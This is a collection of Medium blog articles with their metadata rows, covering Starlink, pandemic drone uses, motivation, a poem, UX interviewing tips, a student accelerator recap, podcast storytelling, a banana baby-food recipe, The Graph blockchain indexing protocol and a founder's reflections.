Starlink is an Internet company to offer high-speed Internet without structural limitations, such as a house, an apartment, or another limited space. The main difference between the currently available Internet service and Starlink is the availability from any point of the planet, including rural areas, where the Internet is usually limited, unreliable, or unavailable altogether.
In simple words, all you’ll need to access the Internet would be a movable Starlink’s device, which you can take with you wherever you go. Once you point the decision in the sky, you get the Internet connection — and voila! Enjoy the World Web from your car, in the mountains, or anywhere else.
The Star reports that SpaceX, another company incepted by Elon, has already launched 960 low-altitude Starlink satellites. The ultimate goal is to have 12,000 of them in orbit. The reusable Falcon 9 rockets are utilized to create a wide network of these satellites to provide Internet access potentially to everyone on the planet.
Where Is It Available and How Can I Get It?
For now, Starlink isn’t fully available around the globe. It was launched this month, in December 2020, as an experiment, in Northern US and Canada. Carefully selected individuals in specific communities were chosen to test this service.
Is Starlink available where you are? You can check! Fill out the form on the official website indicating your email and address — and you will get notified if your area is eligible for the beta test. As time goes on, more and more people will sign up and gain access to this know-how. But for now, we’re in the beginning stage of the Starlink launch.
How Much Is It?
One thing to consider is that Starlink is not free — in fact, it comes with a somewhat steep price tag. There are no official numbers on the company’s website, but the most recent CBC article has a testimony of a gentleman, Greg Rekounas, who was selected to test this service. He paid $649 CAD ($499 USD) in fees, and the monthly service cost is $129 in Canadian dollars (around $99 in USD).
Is it expensive? Compared to many other Internet providers, it probably isn’t cheap. Having that said, some of us are willing to pay for the accessibility, Internet speed and convenience. If you consider taking time off and travelling, having a movable Internet device that catches connection anywhere might be an excellent tool to have. Keep in mind that residents of the rural towns don’t have much choice when getting connected to the outside world — Starlink might be their only choice.
But at this point, we don’t know the official price. The costs may vary depending on certain factors. We are also unaware if the price will remain the same or change in the years to come.
Why is the Starlink Initiative so Important?
Many people reap the benefits of Internet access worldwide, but we are far away from seeing the entire humanity “connected.” Only 4.66 billion people out of the 7.8 world population currently have a digital presence. This figure constitutes success because over half of our planet can freely access the World Web. However, it’s far away from ideal.
Despite the technological progress, it estimates that approximately 1 in 15 Americans still lacks access to the Web. About 25% of rural area inhabitants report the Internet speed to be a major problem in their everyday lives. Recently, Starlink secured almost a $900-million subsidy from the Federal Communications Commission to extend the Internet connection to the United States’ rural communities. It means that not only many Americans will solve the connection issues, but every resident will get a chance to make a daily appearance online.
The USA is not the only country that has a significant number of people residing in rural areas. According to the United Nations, the current rural population represents around 3.4 billion people. This number is expected to decline to 3.1 by 2050, but certain countries and continents are outliers:
“Africa and Asia are home to nearly 90% of the world’s rural population in 2018. India has the largest rural population (893 million), followed by China (578 million),” — UN.
Starlink has the potential of solving this problem once and for all. It may seem like an overly ambitious project, but the company is in the beginning stages of the service launch. The time will show if Elon Musk’s efforts are paying off. | https://medium.com/technology-hits/starlink-just-launched-in-canada-or-how-elon-musks-plans-to-take-over-the-world-421a1a8da749 | ['Joanna Henderson'] | 2020-12-15 05:47:46.064000+00:00 | ['Information Technology', 'Internet', 'Digital Transformation', 'Elon Musk', 'Starlink'] |
Flying into the future: How drones are getting the job done during the pandemic | From contactless medicine delivery to helping kids learn STEAM principles that will guide their future careers, drones are a sustainable tool in the fight against the novel coronavirus.
Drones have been whirring into the civilian space at a breakneck pace.
Both recreational and industrial applications of drones have the exciting potential to make certain jobs easier, particularly those that would have previously required a costly helicopter trip — like aerial photography.
While these applications have been around the corner for several years, one new trend is the advantage gained by using drones in the middle of a contagious health pandemic. Because they can be operated remotely, drones can make certain trips obsolete and aid with social distancing — all while still nonetheless enabling functional collaboration. Best of all, as low-impact monitoring devices, drones are actively conserving energy and contributing to more sustainable practices.
READ MORE DRONE COVERAGE12 Examples of Rescue Robots You Should Know
Fighting the virus while preparing for the future
From archaeology to construction, potential drone applications run the gamut. One use case that skyrocketed during the pandemic is the airborne delivery of groceries. A number of pilots are currently run, such as Walmart in the United States and Tesco in Ireland. Drone delivery relieves people from the need to shop in-store, which is especially useful for protecting people who might be quarantining due to their status in high-risk groups. We’ve also seen successful medicine deliveries to remote locations.
Though COVID-19 accelerated development in this area, the delivery of essential items by drones will continue to evolve long after this all over. The technology is a practical way for those with impaired mobility to get food and other products, and I’m forecasting that drone-based deliveries will be the driving factor in scaling up online grocery retail. It is only through the use of drones, once mature, that unmanned delivery of groceries can be achieved at scale.
With grocery delivery, there are challenges that go beyond the drone’s software, management and steering capabilities. Some residents have objected, citing noise complaints. Others are worried about safety issues or feel that they are being spied on by unmanned aerial devices. For commercial delivery by drone to really take off, improvements both to the hardware and to informing the public will be necessary.
On the hardware front, the technology must be completely safe — regardless of weather, the weight of the load and potential obstacles in the airspace. Further, noise emissions from air flowing over the blades needs to be addressed. Commercial drones have taken major strides toward mitigating this issue, as their higher-quality aerodynamic blades help reduce the flow of air through the propellers and minimize vibration and sound.
These technological advancements aside, the widespread commercial application of drones such as for the delivery of groceries will only succeed if the public is informed and supportive. Residents need to feel confident that the technology is safe and silent — and that their privacy isn’t being compromised during delivery.
How kids are using drones to unlock career paths
Although they’re stuck inside, kids are still hungry for real-world experiences that keep them engaged. There is no better time than the present to empower youngsters with the skills they need to comply with the rules of the sky by encouraging responsible play and learning with purpose.
There are a number of educational kits on the market that teach kids to build, code and configure their own drone. Most of them follow a STEAM approach to learning, which brings science, technology, engineering, arts and mathematics into the real world. Such kits help build curiosity, dialogue and critical thinking, ultimately teaching children to take thoughtful risks, engage in experiential learning, persist in problem solving, embrace collaboration and work through the creative process. All of these skills set kids up to succeed in various areas of their future lives — and hopefully to solve some of the most pressing issues of our time.
As drone laws evolve, however, it is increasingly important to know when it’s OK to capture that cool beach shot while on vacation or what the rules are when flying over crowds at that travel baseball tournament or local festival. The fear of being watched can deter people from public participation and regulations often vary by jurisdiction.
Affordable, speedy and convenient surveying
Even uses that are not directly affected by the pandemic profit from drones’ inherent feature of being controlled remotely. They contribute to fewer trips having to be made, and enable collaborative work despite social distancing.
One of drone technology’s major benefits is the ability to survey huge swaths of land in very little time, which was previously only possible at a prohibitive cost. This feature is used in many different industries, from agriculture and construction to the protection of the environment.
City planners are using drones to evaluate potential building sites and monitor the use of urban spaces, while forestry and agricultural applications range from soil analyses to the detection of plant diseases to aerial spraying and seeding.
For these purposes, excellent flying capabilities and sufficient image quality alone are not enough; depending on the exact use case, drones will only fulfill their potential if the hardware is combined with other technologies such as GPS and artificial intelligence. While GPS is already being used to steer the devices and to match data with precise locations, there is still immense opportunity for artificial intelligence.
By leveraging AI in analyzing image and video data from the drones, users can detect anomalies such as leaks in water pipes or faulty power supplies. These kinds of AI-powered visual analytics can prevent shortages and outages and significantly reduce repair time. Images and videos can be live-streamed to multiple stakeholders’ devices, enabling smooth collaboration between individuals working from different places — a major asset in times of social distancing.
There’s also a lot of potential for automated image analysis in agricultural and environmental industries. By layering images taken at different times users can detect changes in soil quality, vegetation or large land features much earlier. Farmers can rely on these insights to take action on plant diseases, while environmentalists can map developments in natural habitats.
Innovators have long recognized the immense potential that drones offer, particularly when combined with additional technologies. But recent months have inspired and accelerated the development of even more use cases. The COVID-19 pandemic has shown that the delivery of groceries, medicine and items of daily use by drones is more than a matter of convenience — it can ensure the safety of individuals and entire societies. | https://medium.com/@thomas-falk/flying-into-the-future-how-drones-are-getting-the-job-done-during-the-pandemic-de562a5fa9cc | ['Thomas Falk'] | 2020-11-18 16:49:28.416000+00:00 | ['Investing', 'Drones', 'Drones Technology', 'Sustainability'] |
How to find Strength | Don’t let anyone tell you that you are weak and good for nothing. Sometimes it is our own people that is our friends and family will tell us we are wrong and that we are good for nothing. They will be the ones to point out our mistakes and judge us. You will have to face criticism from them , there is something called constructive criticism and there will be times when people will not want to see good happening to you so they will deliberately put you down. Learn to be your own judge and decide what’s right and wrong for you. Trust your intuition and gut feeling and do what’s right.
You are not weak and you have every reason to shine bright like the star. If you are good at something you will just know it and you will have liking towards it so keep doing it till you become good at it. You are bright, talented and smart and no matter what line you take you will shine at it. Those who support you will be the ones who will walk the path with you and you will know who supports you and who puts you down.
During my time of illness I tried out many different art forms and I was not successful at any of those although I was good at it. My mother supported me in everything I did but others didn’t want to see my success. Today I am a writer and a YouTuber although not a professional writer but I manage to write and create content not to a high degree of professionalism but I manage, because my intention is right and I can reach out to more number of people.
In order to make your point you have to fight not with your hands but with your mind. Your mind will tell you all sorts of things and will make you weak. In order to find strength you have to have a strong mind. People will tell you that you are weak and good for nothing and you know and believe in yourself keep that belief strong and do the things that are right even when no-one is watching you. God watches us what we do and then he rewards us according to our actions sometimes the results don’t come soon but they will come. There is no such thing as instant success or instant result, you have to work hard for a very long time to get noticed.
Strength is found in books, movies, people who support us ,loving supportive friends, music and your attitude towards life. If you do this for a very long time I guarantee you that you will see tremendous amount of results in your life. Don’t worry about the negative things that go in your life. Things will be better and days will be brighter.
You are a warrior but don’t go on destroying , go on constructing and creating you will find strength and you will feel proud of yourself. There is lot of power in creation and construction. When I was a child I was fascinated but arts and so I used to paint and draw a lot and I also continued after my Electronics engineering. I started keeping a journal of my thoughts and for the past 15 years I have kept on writing and that’s how I got into writing. Don’t copy my path do your own thing fail and keep trying again till you find your craft.
Strength comes in believing in yourself when everyone else has stopped believing in you. When you are all alone by yourself and you have to decide your own thing. There will be people in your life who support you financially and morally, don’t break their trust be good to them. Friends will only come to have a laugh with you and when everything fails they will run away. So be good to those who support you.
All your strength is in your mind, if you can control your mind then you are the master of your destiny. How to control the mind is through discipline and believing in God. Keep your faith strong and always do the right thing even when no one is watching because God is watching. | https://medium.com/@almeidamac6/how-to-find-strength-b62098e10b39 | ['Rodney De Almeida'] | 2021-07-15 10:32:51.247000+00:00 | ['Strength', 'Mind'] |
Night Darkness | Shrouded images in night darkness
Mysterious rumblings can be heard
Strange lights flash across the sky,
Vacuous emptiness felt to the bones
Haunted warnings it sometimes brings.
Eager for the morning’s dawn
Raptured daylight will return
Night’s emptiness can be filled,
People will be moving forward
Where fates have preordained.
Peering out into thick darkness
Wearing its deathly funeral veil
Constraining vision’s desire to see,
Night filled with shadowy phantoms
With devious purposes now unseen.
Strange happenings often take place
With uncertainty about what is there,
Mysteries hidden during night darkness
Are realities revealed in morning light. | https://medium.com/storymaker/night-darkness-3197816d9dad | ['Randy Shingler'] | 2020-04-16 22:22:02.758000+00:00 | ['Life', 'Self-awareness', 'Poetry', 'Night', 'Darkness'] |
How I get unbiased data when doing Interviews and Usability Testing | No one is completely unbiased, I’m certainly not, but my rule of thumb as a UX Designer is to strive for unbiased situations that create real and usable data. To be honest, it’s more challenging than it sounds, but here are five things I do:
👉🏾 1. I ask open-ended questions.
Open-ended questions spark open-ended conversations that allow me to understand the users needs, motivations and mental models. Using the TEDW Framework really helps when conducting research. If you’re unfamiliar with the framework, I highly recommend Why you should always aim for open-ended conversations by Nikki Anderson. In short, TEDW stands for:
T= ”Tell me more…” or “Take me through why…”.
E= “Explain why…” or “Explain how…”
D= “Describe why…” or “Describe how…”
W= “Walk me through…”
To demonstrate this further, here’s how I would reframe the following question into the TEDW format.
Original question: Why were you feeling frustrated with customer service?
Why were you feeling frustrated with customer service? Reframed question: Explain what you mean by frustrated?
As a UX Designer, I believe the latter question is better worded because you stay open to the fact that people might have different perception of what emotions mean. I than follow up with “what, when, where, how, why” to dig deeper.
👉🏾 2. I avoid hypothetic questions in order to avoid hypothetic answers.
I do this to get more specific and real data. I need users to recall memories and tell me stories about those previous experiences. For example: Tell me about the last time (a specific, real situation) you contacted customer service for help? Instead of, how do you usually (a word that easily leads to hypothetical answers) contact customer service? For more details, refer to The Mom Test: How to talk to customers & learn if your business is a good idea when everyone is lying to you by Rob Fitzpatrick.
👉🏾 3. I use the method ‘Thinking aloud’.
I want to know what the users are thinking and the ”Thinking aloud” method is the most effective way to achieve that during Usability testing. Here is Jakob Nielsen’s definition:
”In a thinking aloud test, you ask test participants to use the system while continuously thinking out loud – that is, simply verbalizing their thoughts as they move through the user interface.” – Jakob Nielsen
👉🏾 4. I always test the test
I always take my script and scenarios through an iterative process before actually performing the real usability testing or interview. The reason is simple, things can always be improved and you can avoid mistakes that can affect the research negatively.
👉🏾 5. I avoid the Wording bias
The Wording bias occurs when a question is framed in a way that suggests an answer. For example, if a question would be worded as “How difficult was it for you to submit your question?”, the question would imply that the process is difficult. Therefore, the question would most likely prompt users to only recall negative experiences. By proofreading my questions I make sure to keep the questions neutral.
That’s it, five quick tips you can start using today! | https://medium.com/design-bootcamp/how-i-get-unbiased-data-when-doing-usability-testing-9ec373b84d2f | ['Hibo Faysal'] | 2020-10-09 22:57:21.175000+00:00 | ['UX Research', 'UX', 'Articles', 'Product', 'Usability Testing'] |
Lessons Learned From HUCP’s Intercollegiate Accelerator | Key takeaways from organizing, co-hosting, and participating in HUCP’s weeklong accelerator with Columbia’s CORE team.
By Dev Patale
Over the past few months, I’ve had the privilege of organizing and co-hosting a virtual intercollegiate accelerator with my peers in HUCP and in CORE, Columbia’s undergraduate entrepreneurship society. The goal of the accelerator, a weeklong program for MIT-, Harvard-, and Columbia-affiliated student founders and builders, was to provide participants with access to world-class mentorship, connections with peer entrepreneurs, and opportunities to accelerate growth; this included workshops about topics such as growth hacking, market research, and startup financing, as well as individualized office hour sessions with mentors. With the accelerator having concluded this past week, I thought I’d share some of my experiences.
Beginning with our first meeting in June, we were responsible for the vision, logistics, and execution of the program, which had been slated for the first week of August. We quickly went to work, reaching out to potential speakers and mentors as well as designing the structure of the accelerator. Although I had anticipated difficulties with the organizing process, I never expected it to be as complex as it was; working asynchronously with over 15 peers, establishing weekly meetings with members scattered throughout the world, and confirming speakers for our various planned events proved to be logistically demanding. However, by remaining diligent and dedicated, we continued building out the program and were eventually ready to host it, pulling in Vice Presidents at Amazon, Partners at YCombinator, and investors at leading VC firms. The lessons learned from these mentors were invaluable, and here are some key takeaways. Fundraising 101 with Raza Shaikh, Managing Director of Launchpad Venture Group:
Raza has been a longtime partner of HUCP and is an active angel investor in early stage companies in the New England area, investing with Launchpad since 2016. His expertise in angel investing was beyond valuable for the accelerator participants.
As a single startup founder, your chances of success are lower, so take the time to find cofounders who complement your skillset and who are passionate about the mission.
If the founding team has the same academic or professional background, investors may see that as a weakness because of a lack of diversity in perspectives.
Investors are more confident in a founding team if each member has bought in to the product and won’t run to a corporate job if/when the venture hits a low.
In a world of virtual pitches, make sure you solidify your narrative, present in proper lighting with minimal background distractions, and immerse the investors in the pitch.
Know the differences between angel and VC investors. They have varying priorities, timelines, and methods of investment.
Consumer Hardware with Robert Williams, Vice President of Software at Amazon:
Rob has years of experience building and deploying consumer hardware as well as helping lead Amazon’s executive team; responsible for operating systems across Amazon devices, Alexa Smart Home and smart devices, among other initiatives, Rob has unparalleled expertise in product-building, so we were fortunate to learn from him.
Hardware startups require significant upfront investment for prototyping, safety, regulation, etc; however, this should not shy entrepreneurs away from the space.
Timing with hardware is critical- you’d ideally enter a market that isn’t saturated. Otherwise, you risk a failed product such as Amazon’s Fire Phone.
Hardware feedback cycles are significantly longer than software cycles, so you must compromise between innovation and optimization.
Growth Strategy with Kat Manalac, Partner at YCombinator:
Kat is a Partner at YC and former Chief of Staff to Alexis Ohanian, cofounder of Reddit. Her advice for growth and launch strategy was extremely informative, and we took away key lessons from her presentation.
In pitches, the goal is to push listeners into asking followup questions.
First impressions are crucial! Use a strong one-liner, which should be descriptive, conversational, and concise.
Consider the advantages and disadvantages of your kind of launch:
Silent launch- sometimes necessary for products where intellectual property is at risk, etc.
Friends and family launch- great for initial feedback, but don’t stay in this stage for too long because you risk growth potential.
Online community launch- Product Hunt, Hacker News, Elpha, etc, are great resources to launch your services to; however, you must understand the community and audience before you launch.
Accelerator Programs with Michael Seibel, CEO of YCombinator:
Michael Seibel is the current CEO of YC and former cofounder and CEO of Justin.tv (Twitch) and Socialcam. His experience in the entrepreneurial space, through his own ventures and the ventures he’s worked with in YC, proved invaluable for the speaker session. He provided relevant advice on every fact of venture-building, from accelerator programs to fundraising.
Fundraising is not a particularly good metric for success, as small and large companies can be equally impactful.
High-profile accelerator programs facilitate long-term growth by providing startups with brand name recognition and validation.
Be careful about investors you work with; avoid investors who provide money quickly but then don’t actively support your venture or check in with your progress.
You need to optimize your venture for a great product and a large base of clients (your product must be user friendly, regardless of how technically complex it is).
Introduction to the AWS Startups Team with Vincent Ponzo, Startup Business Development at AWS:
At AWS, Vincent supports, mentors and advises startups launching from within the world’s top universities. Prior to AWS, he was the Managing Director of the Eugene Lang Entrepreneurship Center at Columbia Business School, where he coached and advised hundreds of student and alumni entrepreneurs annually. Vincent has been a strong partner of HUCP, providing us with AWS credit packages for our Innovation Fund, as well as being an open resource for community events.
The AWS Startup Team is a group of former founders, CTOs, and startup execs who help startups grow their businesses and get the most out of AWS.
The team provides AWS credits and training, go-to-market resources, etc, to help you maximize AWS’s potential and grow your business.
With the Startup Team, you are able to tap into AWS technical expertise through 1:1 office hours with a Solutions Architect and get advice (+ ongoing support) on topics relevant to your business.
University Resources Panel with Leo Guyshan (Harvard i-Labs), Michael Retchin (Columbia CORE and Almaworks), and Tim Miano (MIT Innovation Initiative):
Leo, Michael, and Tim are all seasoned professionals with years of working in the entrepreneurial space, advising student founders and building out further resources at their respective universities. I found their perspectives on university entrepreneurship uniquely valuable, given how I hadn’t recognized the vast variety of resources available to me as a student.
Take advantage of the professionals within each university’s entrepreneurship centers; they’re here to help you in any way they can, so do not hesitate to reach out to them.
Break out of your university bubble- search for cofounders at other universities, and leverage entrepreneurship resources in your greater area.
The sheer number of resources available is overwhelming, so find a point of contact at your university who can advise you and your venture.
With nearly 30 world-class mentors, over 150 student entrepreneurs, and numerous corporate perks, the intercollegiate accelerator was an enormous success. We at HUCP were grateful to provide these unique opportunities, and the lessons we’ve learned as organizers will allow us to continue fulfilling our mission statement in fostering entrepreneurship across university campuses. Although I was initially apprehensive about a virtual format, I learned how effective such events could be with the proper execution. By preparing months in advance, explicitly laying out event logistics, and providing unparalleled opportunities, we successfully envisioned and ran this program. As HUCP moves forward, we plan on continuing to organize similar virtual events, whether it be in the form of fireside chats, VC office hours, student networking events, etc. | https://medium.com/harvards-the-rundown/lessons-learned-from-hucps-intercollegiate-accelerator-6520738ee833 | ['Harvard Undergraduate Capital Partners'] | 2021-04-15 16:27:42.501000+00:00 | ['VC', 'Venture Capital', 'Startup Lessons', 'Events'] |
Monday Medium: Why You Need to Tell Your Story | Now in today’s episode, I really wanted to explain and break down exactly how you need to tell your story. It’s a certain way you want to tell your story so that you separate yourself from your competition and you really connect with the people who matter within your market. You create a genuine connection with your audience.
I’ve done this before myself, and it’s always mind blowing. When I think back to it, I told the story on my show, The Greatness Unlimited Podcast, like literally two and a half years before this person had contacted me about it. It was crazy because I had changed the show name so much and I switched up the platform. I just did so much experimenting with my podcast that it was crazy that someone remembered a story I told. I was kind of confused like, how do you remember that? How do you know that? But they heard the story.
I told a story about me being homeless when I was in college and living in my car. Even down to writing my first book. When a girl messaged me about it on Twitter, I was like, wow, this is crazy. She said, “I’m glad you told the story cause my brother’s going through the same thing and I sent him your show.” That truly touched me.
But my real point here is when you tell your story, there’s somebody out there that’s going to connect with that. There’s somebody out there that’s listening, that’s watching and paying attention to you. They’re literally waiting to hear your story and how you got through that tough time, that trauma. How did you heal from that? So telling your story isn’t about you. It’s about helping other people.
I believe telling your story is a great way to express yourself, but it’s also a great way to connect with your audience. If you want to sell products or something like that, you can easily sell by manipulating people, and that’s what most people do. They sell by manipulating and all that stuff, and the NLP tactics. They do all the mindset tricks they can on you to get your money, but you can do, if you want to build an audience, build a brand, and have a longterm impact on people in a positive way, you have to present them with who you are at your core.
Now, what I will say, with this is it’s not something that happens overnight. Storytelling is not going to get you 10,000 followers in a month. Like it doesn’t work that way. But what I can guarantee you as you build more connections and earn more opportunities. Situations like building a connection with some one who literally went through the same thing as you! They truly know who you are. They know about your past.
And I’m not saying you have to be very, very personal, but you just have to be honest and truthful about who you are and where you are at this point in life. One of my favorite lies I hear right now is “I can help you make six figures” or “I’m going to help you launch a business and go from zero to six figures in three months.” I see that way too much for it to be true.
So again, to avoid that, you tell your story. If you have gone from zero to six figures in three months, that’s when you have to use that story and be truthful about it. But I mean, let’s be honest, how many people are really doing it for the thousands of people that can tell you they, they, you know, they can help you do that. How many people actually do that. It’s very rare, right?
So you want to tell your story, because again, it’s going to separate you from everybody else, number one. And number two, you’re going to build some genuine, valuable connections with your audience. That’s something that is really underrated because think about social media. The young internet is still very fresh to us as the human race. So we haven’t seen a longterm effects, even like 20 years, like Instagram is just now at the point where we say, okay, it’s probably going to be around for a long time, and Facebook and Twitter and all these LinkedIn, all these platforms, they’re still young.
So if you start off with building your personal brand now through telling your story and being honest about who you are or what you’re building, where you’re going, what your goals are, and you start now, just imagine where you’ll be in 20 years! You might have to switch platforms here and there, but imagine where your brand is going to be because now you’ve had people that have followed you from this point on to that next level.
You might not think some people will, but this is the thing, I have some people that have been following me since I had my very first podcast. You probably follow a few people on Twitter or Instagram or whatever that you’ve been friends with virtually for like 10 years. Virtual friendships happen all the time.
The only way you can have that genuine connections by telling your story, if you only focus on manipulating people to sell, yeah, you’re gonna make a little money here and there, but you won’t win longterm. It’s not going to happen that way.
So take the time to think: what’s part of my story that I want to tell? What do I want people to know about me? And I always tell my clients is good to start off with one of your most traumatic experiences. Be honest, be real about that first. Because you can talk about the worst one, then you start to see everything else isn’t as bad, and what’s going to happen is as soon as you put yourself out there in that way, somebody else is going to come to you and say, wow, I went through the same thing. Or they’ll quote your tweet on Twitter to say, wow, this happened to me last year or something. It happens every single time.
So just think about telling your story, and again, you want to do this on your podcast as much as you possibly can. I’m always telling stories and sharing experiences because. That’s how you build that connection. If you build a connection first, even if that person doesn’t buy it from you, they might know 10 other people that need the solutions you have. And then you have 10 new customers now. But if you only focus on manipulation and trying to “hustle”, then you just won’t win longterm. So this is why you need to tell your story more and just really create an amazing, amazing brand. | https://medium.com/@TheCoachChris_/monday-medium-why-you-need-to-tell-your-story-29120fd40ac0 | ['Coach Chris'] | 2019-12-17 22:57:16.621000+00:00 | ['Podcasting', 'Storytelling', 'Podcast Tip', 'Podcast', 'Personal Brand'] |
Baby Food Recipes-Banana | baby food for 4 months and up
stage 1 baby food
creamy and smooth
nutrient-dense
great for spoon-feeding or served in a reusable pouch
easy organic baby food recipe — use organic bananas (which are only cents more than standard bananas)
easy to make — 5 minutes of hands-on time
Bananas: are the key ingredient in this recipe. I like using organic bananas in my baby food recipes as the price is very comparable to conventional and they are usually readily available, but you can use whichever ones you prefer.
are the key ingredient in this recipe. I like using organic bananas in my baby food recipes as the price is very comparable to conventional and they are usually readily available, but you can use whichever ones you prefer. Rosemary: while this recipe uses fresh rosemary to give it a nice earthy taste, you can also add a pinch of cinnamon, cloves, nutmeg, fresh chopped mint or basil to this recipe as well. I would not recommend using dried rosemary to this recipe as it is too hard and will not incorporate into the puree as well as fresh does.
Tip on Bananas: while any ripeness of bananas will work, I have found that the bananas that are ripe (several brown spots)tend to work best in this recipe.
Adding Spices
In this recipe, we are adding in a pinch of fresh rosemary, but feel free to use the following spices instead — cinnamon, cloves, nutmeg, mild curry powder, mint, basil or ginger (see quantity recommendations in the recipe card).
Tip on Spices: I always added in spices to my baby food purees, but you can add or leave out spices in all of your baby food. You do you! Either way, this puree will taste amazing.
Instructions | https://medium.com/@dgal1912/baby-food-recipes-banana-e753ef0aee6f | ['Dgal Wld'] | 2021-04-25 21:58:34.427000+00:00 | ['Baby', 'Baby Feeding Bottles', 'Baby Products', 'Baby Care', 'Baby Food'] |
The Graph’s role in Web3 | Web 1.0 to Web3
Web3 has come a long way since the emergence of Bitcoin over a decade ago. Despite using an outdated tech by today’s standards, it carved in stone the principles of Web3, of which the main ones are decentralization and true P2P interaction without intermediaries (centralized authorities) such as Google or Facebook. But many people are still confused about Web3 and its potential nonetheless, so here’s a quick recap of the technological progression:
If the retrospectively-named “Web 1.0” comprised read-only static webpages in the 90s and early 2000s, Web 2.0 (read-write web) has allowed for a more interactive user experience fuelled by participatory systems. It has (very likely) peaked with the arrival and development of social media. But in Web 2.0 the user is still the prisoner of centralized authorities. If you want to talk to a friend, you would probably use Facebook or one of the other centralized platforms. The so-called internet giants run a plethora of services and have access to many if not all aspects of user data. These “middlemen” control the data and that entails a certain degree of censorship, corruption, and a sense of foreboding akin to the sword of Damocles hanging over your private data. The purpose of Web3 (Web 3.0 or unmediated read-write web) is to get rid of the arbitrary centralized authority and create composable decentralized infrastructure (imagine lego blocks that you can use to construct all sorts of toys, or use a lego model to build on top of it or reshape it). In short, Web3 is often seen as a pet name for a theoretical, completely serverless decentralized web with increased security, anonymity, interoperability, reliability, governing solutions, automation and tokenization.
The Graph
The Graph is an indexing protocol for querying data on blockchain. It is often referred to as “the google of blockchain” because of its complementary nature to most Web3 projects that are being developed on blockchain. As a blockchain agnostic baseline infrastructure protocol servicing the Web3, it is extremely versatile and one of the cornerstones of the Web3 ecosystem. One way to see it is as a tokenized GraphQL for Web3 applications. Web 2.0 apps all need data base querying. This is how Facebook knows what is on everyone’s profile, what Twitter has for your tweet back on December 22th, 2016 etc. Virtually every complex Web 2.0 app uses this. GraphQL is a SQL on steroids because it doesn’t require much computational resources within your application and is easier to integrate once you learn it. As a query and interface definition language its purpose is to surpass the inflexibility and inefficiency of REST API. On Web3 GraphQL is so far being used in the DeFi industry to index data from the Ethereum blockchain brought on by Chainlink.
Another way to look at it is as the Unreal Engine, but for APIs. Unreal Engine lets game developers build video games without having to develop their own engine. They simply pay a fee to use the Unreal Engine and then they get to spend their time immediately creating games upon the game engine. The Graph Protocol is analogous to that, but instead of video games it’s dApps and instead of a video game engine it’s an API.
Why Is The Graph Critical To Web3?
The Graph aims to accelerate the development of dApps by allowing developers (users) to efficiently query data for the requirements of an application. While traditional APIs have to make distinct calls to get the information required and thus tend to congest the network, GraphQL is efficient enough to provide the needed data in a single query.
With this in mind, it’s fairly clear why The Graph’s future is bright. The data indexed by The Graph’s API (subgraphs) is relayed to smart contracts via Chainlink oracles, which allows the developers to use the indexed data to build powerful dApps. As Google is an indexing epitome of Web 2.0, The Graph has the first-mover advantage in indexing the Web3 space. Prior to the wide-spread adoption of The Graph, developers were force to come up with their own indexing code and maintain servers that was anchored on centralized infrastructure. The drawbacks of that were unreliability (servers might shut down for various reasons), maintenance costs and security risks. With subgraphs, all this becomes more efficient, decentralized, reliable and secure.
The Graph currently has over 200 indexers and over 1,600 individuals have learnt to identify high-quality subgraphs. The usage of subgraphs has increased exponentially over the past few months: from 1 billion monthly queries in June 2020 to over 10 billion in November 2020. Currently the network can support 1,000–2,000 queries per second. Subgraphs are persistently being used by some of the biggest applications such as Uniswap, PoolTogether, Curve, Zapper and many more. The explosive launch of mainnet only serves as a testament to The Graph’s contribution to the Web3 space. In the foreseeable future, the project will expand to other blockchains (apart from Ethereum) to increase the scope of usage and accelerate interoperability.
Website: https://thegraph.com/
GRT Token Address: 0xc944e90c64b2c07662a292be6244bdf05cda44a7 | https://medium.com/@mtjces/the-graphs-role-in-web3-39249532af52 | [] | 2021-01-12 09:57:28.241000+00:00 | ['The Graph', 'GraphQL', 'Web3', 'Grt'] |
Lost & Found(er) | “How are you? How’s Fluff?”
Five years ago I believed starting another brand would help me find a deeper connection to people and myself. Yet there’s been times as a founder where I’ve felt more lost and disconnected than ever. On these days, I don’t know how to respond when people say, “How are you? How’s Fluff?”
The last four years of my career have been humbling to say the least. I don’t know what the next 6–12 months will hold. I’m both under and over stimulated, bored and engaged, concerned and excited. My problems are bigger than they’ve ever been, and yet seem somehow smaller. I’ve realised I’ve got more awareness. I’m learning to surrender. And I’m more hopeful than ever.
“We should be optimistic not because our problems are smaller than we thought, but because our capacity to solve them is larger than we thought.” — Kevin Kelly.
So, here’s what I’d want to say when people ask me how I am, and how Fluff is, but usually can’t.
First of all, is it a founder’s job to stay on track?
To maintain a perfect, bullet-proof vision from day one? To hold my values constant, and in front of me at all times? To always know what’s important? Is that what success is?
If so, I’ve stumbled too many times.
But surely, if we always know exactly what we’re doing, we’re not doing anything that new at all. And that’s true whether you’re talking big picture or details.
Maybe my ‘vision’ has remained the same, but my execution has chopped and changed, led down several paths, one way streets, dead ends etc. I’ve lagged, broken down, discovered new routes and seen some pretty cool sights along the way. I’ve realised that yes, I still want to create, but not in the same (previously aspiring) mode or pace. The joy of missing out, they say.
It could just be that I’m simply getting older and my priorities have changed. That I lack the energy, motivation, and resilience I did in my twenties. Or are resilience and energy just euphemisms for a naive kind of youthful optimism, masking irrationality and ignorance?
It could also be that I don’t think I can, nor want to keep up with changing technologies, commodities, and regulations.
Then again, I feel like I have more integrity — more of a purpose for creating a business I can see myself doing until I’m grey — than I ever did before.
So, have I kept my vision bullet-proof? Or have I learned and changed along the way?
I really hope it’s the latter.
What advice would you give your younger self?
I am tired of being interviewed and asked what questions I’d tell my younger self, and what advice I’d give to budding entrepreneurs.
To the former: have fun, be young! To the latter: don’t do it, save your money.
Nowadays I am pretty blunt if I meet up with anyone to discuss their idea. I simply ask them, ‘Why?’ About 10 times until we get somewhere. Is it creating something? (even if it’s connection), and what are you willing to do and sacrifice to get there? Because sacrifice will catch up to everyone at some point, even if you’re doing incredibly well (success can cost you time, relationships, awareness, anonymity/normalcy and relatability). And let’s not get started on the world.
This is not a sprint. It’s a marathon.
We are asked to write pitch decks with 5/10/20 year plans. But we’re also asked to show a return within 2–3 years. At the same time, we’re crafting stories for the press that say we want to build companies that are around for 100 years. Meanwhile we’re reading articles that tell us the world won’t even make it that long — because of us and these companies we are trying to build. In seeking to solve problems, we end up creating more which we in turn have to solve again. I have found myself in countless scenarios having to undo the impact of what I thought was helpful to begin.
Would it be more honest to say that we’re here for a good time, not a long time? To build something fun, something different, something interesting, that might make the world more fun, a bit different, more interesting? And that the first step is to make it profitable, to employ people, and then make it more sustainable or responsible. Is doing it the other way setting ourselves up for failure?
